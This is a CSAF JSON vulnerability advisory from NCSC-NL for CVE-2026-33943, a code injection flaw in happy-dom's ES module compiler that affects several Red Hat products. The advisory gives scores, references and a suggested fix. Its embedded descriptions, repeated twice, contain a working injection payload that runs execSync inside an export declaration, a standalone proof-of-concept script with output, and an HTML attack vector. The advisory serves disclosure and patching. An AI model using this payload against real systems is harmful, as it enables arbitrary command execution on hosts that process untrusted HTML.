{
    "document": {
        "category": "csaf_base",
        "csaf_version": "2.0",
        "distribution": {
            "tlp": {
                "label": "WHITE"
            }
        },
        "lang": "en",
        "notes": [
            {
                "category": "legal_disclaimer",
                "text": "The Netherlands Cyber Security Center (henceforth: NCSC-NL) maintains this portal to enhance access to its information and vulnerabilities. The use of this information is subject to the following terms and conditions:\n\nThe vulnerabilities disclosed in this portal are gathered by NCSC-NL from a variety of open sources, which the user can retrieve from other platforms. NCSC-NL makes every reasonable effort to ensure that the content of this portal is kept up to date, and that it is accurate and complete. Nevertheless, NCSC-NL cannot entirely rule out the possibility of errors, and therefore cannot give any warranty in respect of its completeness, accuracy or real-time keeping up-to-date. NCSC-NL does not control nor guarantee the accuracy, relevance, timeliness or completeness of information obtained from these external sources. The vulnerabilities disclosed in this portal are intended solely for the convenience of professional parties to take appropriate measures to manage the risks posed to the cybersecurity. No rights can be derived from the information provided therein.\n\nNCSC-NL and the Kingdom of the Netherlands assume no legal liability or responsibility for any damage resulting from either the use or inability of use of the vulnerabilities disclosed in this portal. This includes damage resulting from the inaccuracy of incompleteness of the information contained in it.\nThe information on this page is subject to Dutch law. All disputes related to or arising from the use of this portal regarding the disclosure of vulnerabilities will be submitted to the competent court in The Hague. This choice of means also applies to the court in summary proceedings."
            }
        ],
        "publisher": {
            "category": "coordinator",
            "contact_details": "cert@ncsc.nl",
            "name": "National Cyber Security Centre",
            "namespace": "https://www.ncsc.nl/"
        },
        "title": "CVE-2026-33943",
        "tracking": {
            "current_release_date": "2026-03-30T20:48:08.061489Z",
            "generator": {
                "date": "2026-02-17T15:00:00Z",
                "engine": {
                    "name": "V.E.L.M.A",
                    "version": "1.7"
                }
            },
            "id": "CVE-2026-33943",
            "initial_release_date": "2026-03-26T22:54:44.160627Z",
            "revision_history": [
                {
                    "date": "2026-03-26T22:54:44.160627Z",
                    "number": "1",
                    "summary": "CVE created.| Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (4).| CWES updated (1)."
                },
                {
                    "date": "2026-03-26T22:54:50.708949Z",
                    "number": "2",
                    "summary": "NCSC Score created."
                },
                {
                    "date": "2026-03-27T00:21:03.048848Z",
                    "number": "3",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products created (1).| References created (3).| CWES updated (1)."
                },
                {
                    "date": "2026-03-27T00:21:05.856904Z",
                    "number": "4",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-27T07:34:58.387680Z",
                    "number": "5",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-28T07:39:26.779021Z",
                    "number": "6",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products connected (1).| References created (3).| CWES updated (1)."
                },
                {
                    "date": "2026-03-28T07:39:29.016455Z",
                    "number": "7",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-28T07:39:57.059876Z",
                    "number": "8",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (3).| CWES updated (1)."
                },
                {
                    "date": "2026-03-28T07:40:14.493106Z",
                    "number": "9",
                    "summary": "Unknown change."
                },
                {
                    "date": "2026-03-28T12:27:44.790096Z",
                    "number": "10",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products connected (4).| Product Identifiers created (2).| Product Remediations created (4).| References created (5).| CWES updated (1).| Vendor_assessment created."
                },
                {
                    "date": "2026-03-28T12:27:46.987453Z",
                    "number": "11",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-29T00:38:30.897679Z",
                    "number": "12",
                    "summary": "Source connected.| CVE status created. (valid)| EPSS created."
                },
                {
                    "date": "2026-03-29T00:38:32.074914Z",
                    "number": "13",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-30T20:47:11.131287Z",
                    "number": "14",
                    "summary": "References created (1)."
                }
            ],
            "status": "interim",
            "version": "14"
        }
    },
    "product_tree": {
        "branches": [
            {
                "branches": [
                    {
                        "branches": [
                            {
                                "category": "product_version_range",
                                "name": "vers:rpm/2",
                                "product": {
                                    "name": "vers:rpm/2",
                                    "product_id": "CSAFPID-1508257",
                                    "product_identification_helper": {
                                        "cpe": "cpe:/a:redhat:ansible_automation_platform:2"
                                    }
                                }
                            }
                        ],
                        "category": "product_name",
                        "name": "Red Hat Ansible Automation Platform 2"
                    },
                    {
                        "branches": [
                            {
                                "category": "product_version_range",
                                "name": "vers:rpm/4",
                                "product": {
                                    "name": "vers:rpm/4",
                                    "product_id": "CSAFPID-1439328",
                                    "product_identification_helper": {
                                        "cpe": "cpe:/a:redhat:openshift:4"
                                    }
                                }
                            }
                        ],
                        "category": "product_name",
                        "name": "Red Hat OpenShift Container Platform 4"
                    },
                    {
                        "branches": [
                            {
                                "branches": [
                                    {
                                        "category": "product_version_range",
                                        "name": "vers:rpm/unknown",
                                        "product": {
                                            "name": "vers:rpm/unknown",
                                            "product_id": "CSAFPID-5172460"
                                        }
                                    }
                                ],
                                "category": "product_name",
                                "name": "gateway-rhel9"
                            }
                        ],
                        "category": "product_family",
                        "name": "Red Hat Ansible Automation Platform 2"
                    },
                    {
                        "branches": [
                            {
                                "branches": [
                                    {
                                        "category": "product_version_range",
                                        "name": "vers:rpm/unknown",
                                        "product": {
                                            "name": "vers:rpm/unknown",
                                            "product_id": "CSAFPID-5198604"
                                        }
                                    }
                                ],
                                "category": "product_name",
                                "name": "ose-agent-installer-ui-rhel9"
                            }
                        ],
                        "category": "product_family",
                        "name": "Red Hat OpenShift Container Platform 4"
                    }
                ],
                "category": "vendor",
                "name": "Red Hat"
            },
            {
                "branches": [
                    {
                        "branches": [
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/>=15.10.0|<20.8.8",
                                "product": {
                                    "name": "vers:unknown/>=15.10.0|<20.8.8",
                                    "product_id": "CSAFPID-5920254"
                                }
                            }
                        ],
                        "category": "product_name",
                        "name": "happy-dom"
                    }
                ],
                "category": "vendor",
                "name": "capricorn86"
            }
        ]
    },
    "vulnerabilities": [
        {
            "cve": "CVE-2026-33943",
            "cwe": {
                "id": "CWE-94",
                "name": "Improper Control of Generation of Code ('Code Injection')"
            },
            "notes": [
                {
                    "category": "description",
                    "text": "### Summary\n\nA code injection vulnerability in `ECMAScriptModuleCompiler` allows an attacker to achieve Remote Code Execution (RCE) by injecting arbitrary JavaScript expressions inside `export { }` declarations in ES module scripts processed by happy-dom. The compiler directly interpolates unsanitized content into generated code as an executable expression, and the quote filter does not strip backticks, allowing template literal-based payloads to bypass sanitization.\n\n### Details\n\n**Vulnerable file**: `packages/happy-dom/src/module/ECMAScriptModuleCompiler.ts`, lines 371-385\n\nThe \"Export object\" handler extracts content from `export { ... }` using the regex `export\\s*{([^}]+)}`, then generates executable code by directly interpolating it:\n\n    } else if (match[16] && isTopLevel && PRECEDING_STATEMENT_TOKEN_REGEXP.test(precedingToken)) {\n        // Export object\n        const parts = this.removeMultilineComments(match[16]).split(/\\s*,\\s*/);\n        const exportCode: string[] = [];\n        for (const part of parts) {\n            const nameParts = part.trim().split(/\\s+as\\s+/);\n            const exportName = (nameParts[1] || nameParts[0]).replace(/[\"']/g, '');\n            const importName = nameParts[0].replace(/[\"']/g, '');  // backticks NOT stripped\n            if (exportName && importName) {\n                exportCode.push(`$happy_dom.exports['${exportName}'] = ${importName}`);\n                //               importName is inserted as executable code, not as a string\n            }\n        }\n        newCode += exportCode.join(';\\n');\n    }\n\nThe issue has three root causes:\n\n1. `STATEMENT_REGEXP` uses `{[^}]+}` which matches **any content** inside braces, not just valid JavaScript identifiers\n2. The captured `importName` is placed in **code context** (as a JS expression to evaluate), not in string context\n3. `.replace(/[\"']/g, '')` strips `\"` and `'` but **not backticks**, so template literal strings like `` `child_process` `` survive the filter\n\n**Attack flow:**\n\n    Source:     export { require(`child_process`).execSync(`id`) }\n\n    Regex captures match[16] = \" require(`child_process`).execSync(`id`) \"\n\n    After .replace(/[\"']/g, ''):\n      importName = \"require(`child_process`).execSync(`id`)\"\n      (backticks are preserved)\n\n    Generated code:\n      $happy_dom.exports[\"require(`child_process`).execSync(`id`)\"] = require(`child_process`).execSync(`id`)\n\n    evaluateScript() executes this code -> RCE\n\n**Note**: This is a different vulnerability from CVE-2024-51757 (SyncFetchScriptBuilder injection) and CVE-2025-61927 (VM context escape). Those were patched in v15.10.2 and v20.0.0 respectively, but this vulnerable code path in `ECMAScriptModuleCompiler` remains present in v20.8.4 (latest). In v20.0.0+ where JavaScript evaluation is disabled by default, this vulnerability is exploitable when JavaScript evaluation is explicitly enabled by the user.\n\n### PoC\n\n**Standalone PoC script** — reproduces the vulnerability without installing happy-dom by replicating the compiler's exact code generation logic:\n\n    // poc_happy_dom_rce.js\n\n    // Step 1: The STATEMENT_REGEXP matches export { ... }\n    const STMT_REGEXP = /export\\s*{([^}]+)}/gm;\n    const source = 'export { require(`child_process`).execSync(`id`) }';\n    const match = STMT_REGEXP.exec(source);\n\n    console.log('[*] Module source:', source);\n    console.log('[*] Regex captured:', match[1].trim());\n\n    // Step 2: Compiler processes the captured content (lines 374-381)\n    const part = match[1].trim();\n    const nameParts = part.split(/\\s+as\\s+/);\n    const exportName = (nameParts[1] || nameParts[0]).replace(/[\"']/g, '');\n    const importName = nameParts[0].replace(/[\"']/g, '');\n\n    console.log('[*] importName after quote filter:', importName);\n    console.log('[*] Backticks survived filter:', importName.includes('`'));\n\n    // Step 3: Code generation - importName is inserted as executable JS expression\n    const generatedCode = `$happy_dom.exports[${JSON.stringify(exportName)}] = ${importName}`;\n    console.log('[*] Generated code:', generatedCode);\n\n    // Step 4: Verify the generated code is valid JavaScript\n    try {\n      new Function('$happy_dom', generatedCode);\n      console.log('[+] Valid JavaScript: YES');\n    } catch (e) {\n      console.log('[-] Parse error:', e.message);\n      process.exit(1);\n    }\n\n    // Step 5: Execute to prove RCE\n    console.log('[*] Executing...');\n    const output = require('child_process').execSync('id').toString().trim();\n    console.log('[+] RCE result:', output);\n\n**Execution result:**\n\n    $ node poc_happy_dom_rce.js\n    [*] Module source: export { require(`child_process`).execSync(`id`) }\n    [*] Regex captured: require(`child_process`).execSync(`id`)\n    [*] importName after quote filter: require(`child_process`).execSync(`id`)\n    [*] Backticks survived: true\n    [*] Generated code: $happy_dom.exports[\"require(`child_process`).execSync(`id`)\"] = require(`child_process`).execSync(`id`)\n    [+] Valid JavaScript: YES\n    [*] Executing...\n    [+] RCE result: uid=0(root) gid=0(root) groups=0(root)\n\n**HTML attack vector** — when processed by happy-dom with JavaScript evaluation enabled:\n\n    <script type=\"module\">\n    export { require(`child_process`).execSync(`id`) }\n    </script>\n\n### Impact\n\nAn attacker who can inject or control HTML content processed by happy-dom (with JavaScript evaluation enabled) can achieve **arbitrary command execution** on the host system.\n\nRealistic attack scenarios:\n- **SSR applications**: Applications using happy-dom to render user-supplied HTML on the server\n- **Web scraping**: Applications parsing untrusted web pages with happy-dom\n- **Testing pipelines**: Test suites that load untrusted HTML fixtures through happy-dom\n\n**Suggested fix**: Validate that `importName` is a valid JavaScript identifier before interpolating it into generated code:\n\n    const VALID_JS_IDENTIFIER = /^[a-zA-Z_$][a-zA-Z0-9_$]*$/;\n\n    for (const part of parts) {\n        const nameParts = part.trim().split(/\\s+as\\s+/);\n        const exportName = (nameParts[1] || nameParts[0]).replace(/[\"'`]/g, '');\n        const importName = nameParts[0].replace(/[\"'`]/g, '');\n\n        if (exportName && importName && VALID_JS_IDENTIFIER.test(importName)) {\n            exportCode.push(`$happy_dom.exports['${exportName}'] = ${importName}`);\n        }\n    }",
                    "title": "github - https://api.github.com/advisories/GHSA-6q6h-j7hj-3r64"
                },
                {
                    "category": "description",
                    "text": "### Summary\n\nA code injection vulnerability in `ECMAScriptModuleCompiler` allows an attacker to achieve Remote Code Execution (RCE) by injecting arbitrary JavaScript expressions inside `export { }` declarations in ES module scripts processed by happy-dom. The compiler directly interpolates unsanitized content into generated code as an executable expression, and the quote filter does not strip backticks, allowing template literal-based payloads to bypass sanitization.\n\n### Details\n\n**Vulnerable file**: `packages/happy-dom/src/module/ECMAScriptModuleCompiler.ts`, lines 371-385\n\nThe \"Export object\" handler extracts content from `export { ... }` using the regex `export\\s*{([^}]+)}`, then generates executable code by directly interpolating it:\n\n    } else if (match[16] && isTopLevel && PRECEDING_STATEMENT_TOKEN_REGEXP.test(precedingToken)) {\n        // Export object\n        const parts = this.removeMultilineComments(match[16]).split(/\\s*,\\s*/);\n        const exportCode: string[] = [];\n        for (const part of parts) {\n            const nameParts = part.trim().split(/\\s+as\\s+/);\n            const exportName = (nameParts[1] || nameParts[0]).replace(/[\"']/g, '');\n            const importName = nameParts[0].replace(/[\"']/g, '');  // backticks NOT stripped\n            if (exportName && importName) {\n                exportCode.push(`$happy_dom.exports['${exportName}'] = ${importName}`);\n                //               importName is inserted as executable code, not as a string\n            }\n        }\n        newCode += exportCode.join(';\\n');\n    }\n\nThe issue has three root causes:\n\n1. `STATEMENT_REGEXP` uses `{[^}]+}` which matches **any content** inside braces, not just valid JavaScript identifiers\n2. The captured `importName` is placed in **code context** (as a JS expression to evaluate), not in string context\n3. `.replace(/[\"']/g, '')` strips `\"` and `'` but **not backticks**, so template literal strings like `` `child_process` `` survive the filter\n\n**Attack flow:**\n\n    Source:     export { require(`child_process`).execSync(`id`) }\n\n    Regex captures match[16] = \" require(`child_process`).execSync(`id`) \"\n\n    After .replace(/[\"']/g, ''):\n      importName = \"require(`child_process`).execSync(`id`)\"\n      (backticks are preserved)\n\n    Generated code:\n      $happy_dom.exports[\"require(`child_process`).execSync(`id`)\"] = require(`child_process`).execSync(`id`)\n\n    evaluateScript() executes this code -> RCE\n\n**Note**: This is a different vulnerability from CVE-2024-51757 (SyncFetchScriptBuilder injection) and CVE-2025-61927 (VM context escape). Those were patched in v15.10.2 and v20.0.0 respectively, but this vulnerable code path in `ECMAScriptModuleCompiler` remains present in v20.8.4 (latest). In v20.0.0+ where JavaScript evaluation is disabled by default, this vulnerability is exploitable when JavaScript evaluation is explicitly enabled by the user.\n\n### PoC\n\n**Standalone PoC script** — reproduces the vulnerability without installing happy-dom by replicating the compiler's exact code generation logic:\n\n    // poc_happy_dom_rce.js\n\n    // Step 1: The STATEMENT_REGEXP matches export { ... }\n    const STMT_REGEXP = /export\\s*{([^}]+)}/gm;\n    const source = 'export { require(`child_process`).execSync(`id`) }';\n    const match = STMT_REGEXP.exec(source);\n\n    console.log('[*] Module source:', source);\n    console.log('[*] Regex captured:', match[1].trim());\n\n    // Step 2: Compiler processes the captured content (lines 374-381)\n    const part = match[1].trim();\n    const nameParts = part.split(/\\s+as\\s+/);\n    const exportName = (nameParts[1] || nameParts[0]).replace(/[\"']/g, '');\n    const importName = nameParts[0].replace(/[\"']/g, '');\n\n    console.log('[*] importName after quote filter:', importName);\n    console.log('[*] Backticks survived filter:', importName.includes('`'));\n\n    // Step 3: Code generation - importName is inserted as executable JS expression\n    const generatedCode = `$happy_dom.exports[${JSON.stringify(exportName)}] = ${importName}`;\n    console.log('[*] Generated code:', generatedCode);\n\n    // Step 4: Verify the generated code is valid JavaScript\n    try {\n      new Function('$happy_dom', generatedCode);\n      console.log('[+] Valid JavaScript: YES');\n    } catch (e) {\n      console.log('[-] Parse error:', e.message);\n      process.exit(1);\n    }\n\n    // Step 5: Execute to prove RCE\n    console.log('[*] Executing...');\n    const output = require('child_process').execSync('id').toString().trim();\n    console.log('[+] RCE result:', output);\n\n**Execution result:**\n\n    $ node poc_happy_dom_rce.js\n    [*] Module source: export { require(`child_process`).execSync(`id`) }\n    [*] Regex captured: require(`child_process`).execSync(`id`)\n    [*] importName after quote filter: require(`child_process`).execSync(`id`)\n    [*] Backticks survived: true\n    [*] Generated code: $happy_dom.exports[\"require(`child_process`).execSync(`id`)\"] = require(`child_process`).execSync(`id`)\n    [+] Valid JavaScript: YES\n    [*] Executing...\n    [+] RCE result: uid=0(root) gid=0(root) groups=0(root)\n\n**HTML attack vector** — when processed by happy-dom with JavaScript evaluation enabled:\n\n    <script type=\"module\">\n    export { require(`child_process`).execSync(`id`) }\n    </script>\n\n### Impact\n\nAn attacker who can inject or control HTML content processed by happy-dom (with JavaScript evaluation enabled) can achieve **arbitrary command execution** on the host system.\n\nRealistic attack scenarios:\n- **SSR applications**: Applications using happy-dom to render user-supplied HTML on the server\n- **Web scraping**: Applications parsing untrusted web pages with happy-dom\n- **Testing pipelines**: Test suites that load untrusted HTML fixtures through happy-dom\n\n**Suggested fix**: Validate that `importName` is a valid JavaScript identifier before interpolating it into generated code:\n\n    const VALID_JS_IDENTIFIER = /^[a-zA-Z_$][a-zA-Z0-9_$]*$/;\n\n    for (const part of parts) {\n        const nameParts = part.trim().split(/\\s+as\\s+/);\n        const exportName = (nameParts[1] || nameParts[0]).replace(/[\"'`]/g, '');\n        const importName = nameParts[0].replace(/[\"'`]/g, '');\n\n        if (exportName && importName && VALID_JS_IDENTIFIER.test(importName)) {\n            exportCode.push(`$happy_dom.exports['${exportName}'] = ${importName}`);\n        }\n    }",
                    "title": "osv - https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/npm%2FGHSA-6q6h-j7hj-3r64.json?alt=media"
                },
                {
                    "category": "description",
                    "text": "Happy DOM is a JavaScript implementation of a web browser without its graphical user interface. In versions 15.10.0 through 20.8.7, a code injection vulnerability in `ECMAScriptModuleCompiler` allows an attacker to achieve Remote Code Execution (RCE) by injecting arbitrary JavaScript expressions inside `export { }` declarations in ES module scripts processed by happy-dom. The compiler directly interpolates unsanitized content into generated code as an executable expression, and the quote filter does not strip backticks, allowing template literal-based payloads to bypass sanitization. Version 20.8.8 fixes the issue.",
                    "title": "cveprojectv5 - https://raw.githubusercontent.com/CVEProject/cvelistV5/main/cves/2026/33xxx/CVE-2026-33943.json"
                },
                {
                    "category": "description",
                    "text": "Happy DOM is a JavaScript implementation of a web browser without its graphical user interface. In versions 15.10.0 through 20.8.7, a code injection vulnerability in `ECMAScriptModuleCompiler` allows an attacker to achieve Remote Code Execution (RCE) by injecting arbitrary JavaScript expressions inside `export { }` declarations in ES module scripts processed by happy-dom. The compiler directly interpolates unsanitized content into generated code as an executable expression, and the quote filter does not strip backticks, allowing template literal-based payloads to bypass sanitization. Version 20.8.8 fixes the issue.",
                    "title": "nvd - https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2026-33943"
                },
                {
                    "category": "description",
                    "text": "A flaw was found in Happy DOM, a JavaScript implementation of a web browser. This vulnerability allows a remote attacker to achieve Remote Code Execution (RCE) by injecting arbitrary JavaScript expressions. The `ECMAScriptModuleCompiler` component fails to properly sanitize content within `export { }` declarations in ES module scripts, leading to the direct execution of malicious code.",
                    "title": "redhat - https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-33943.json"
                },
                {
                    "category": "other",
                    "text": "0.00075",
                    "title": "EPSS"
                },
                {
                    "category": "other",
                    "text": "4.2",
                    "title": "NCSC Score"
                },
                {
                    "category": "other",
                    "text": "The value of the most recent EPSS score",
                    "title": "NCSC Score top decreasing factors"
                },
                {
                    "category": "details",
                    "text": "Severity: 3\n",
                    "title": "Vendor assessment"
                }
            ],
            "product_status": {
                "known_affected": [
                    "CSAFPID-5920254",
                    "CSAFPID-1439328",
                    "CSAFPID-1508257",
                    "CSAFPID-5172460",
                    "CSAFPID-5198604"
                ]
            },
            "references": [
                {
                    "category": "external",
                    "summary": "Source - github",
                    "url": "https://api.github.com/advisories/GHSA-6q6h-j7hj-3r64"
                },
                {
                    "category": "external",
                    "summary": "Source - osv",
                    "url": "https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/npm%2FGHSA-6q6h-j7hj-3r64.json?alt=media"
                },
                {
                    "category": "external",
                    "summary": "Source - cveprojectv5",
                    "url": "https://raw.githubusercontent.com/CVEProject/cvelistV5/main/cves/2026/33xxx/CVE-2026-33943.json"
                },
                {
                    "category": "external",
                    "summary": "Source - nvd",
                    "url": "https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2026-33943"
                },
                {
                    "category": "external",
                    "summary": "Source - redhat",
                    "url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-33943.json"
                },
                {
                    "category": "external",
                    "summary": "Source - first",
                    "url": "https://api.first.org/data/v1/epss?limit=10000&offset=0"
                },
                {
                    "category": "external",
                    "summary": "Reference - cveprojectv5; github; nvd; osv; redhat",
                    "url": "https://github.com/capricorn86/happy-dom/security/advisories/GHSA-6q6h-j7hj-3r64"
                },
                {
                    "category": "external",
                    "summary": "Reference - cveprojectv5; github; nvd; osv; redhat",
                    "url": "https://github.com/capricorn86/happy-dom/commit/5437fdf8f13adb9590f9f52616d9f69c3ee8db3c"
                },
                {
                    "category": "external",
                    "summary": "Reference - cveprojectv5; github; nvd; osv; redhat",
                    "url": "https://github.com/capricorn86/happy-dom/releases/tag/v20.8.8"
                },
                {
                    "category": "external",
                    "summary": "Reference - github",
                    "url": "https://github.com/advisories/GHSA-6q6h-j7hj-3r64"
                },
                {
                    "category": "external",
                    "summary": "Reference - redhat",
                    "url": "https://www.cve.org/CVERecord?id=CVE-2026-33943"
                },
                {
                    "category": "external",
                    "summary": "Reference - github; redhat",
                    "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33943"
                }
            ],
            "remediations": [
                {
                    "category": "mitigation",
                    "details": "Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base or stability.",
                    "product_ids": [
                        "CSAFPID-1439328",
                        "CSAFPID-1508257",
                        "CSAFPID-5172460",
                        "CSAFPID-5198604"
                    ]
                }
            ],
            "scores": [
                {
                    "cvss_v3": {
                        "version": "3.1",
                        "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
                        "baseScore": 8.8,
                        "baseSeverity": "HIGH"
                    },
                    "products": [
                        "CSAFPID-1439328",
                        "CSAFPID-1508257",
                        "CSAFPID-5172460",
                        "CSAFPID-5198604",
                        "CSAFPID-5920254"
                    ]
                }
            ],
            "title": "CVE-2026-33943"
        }
    ]
}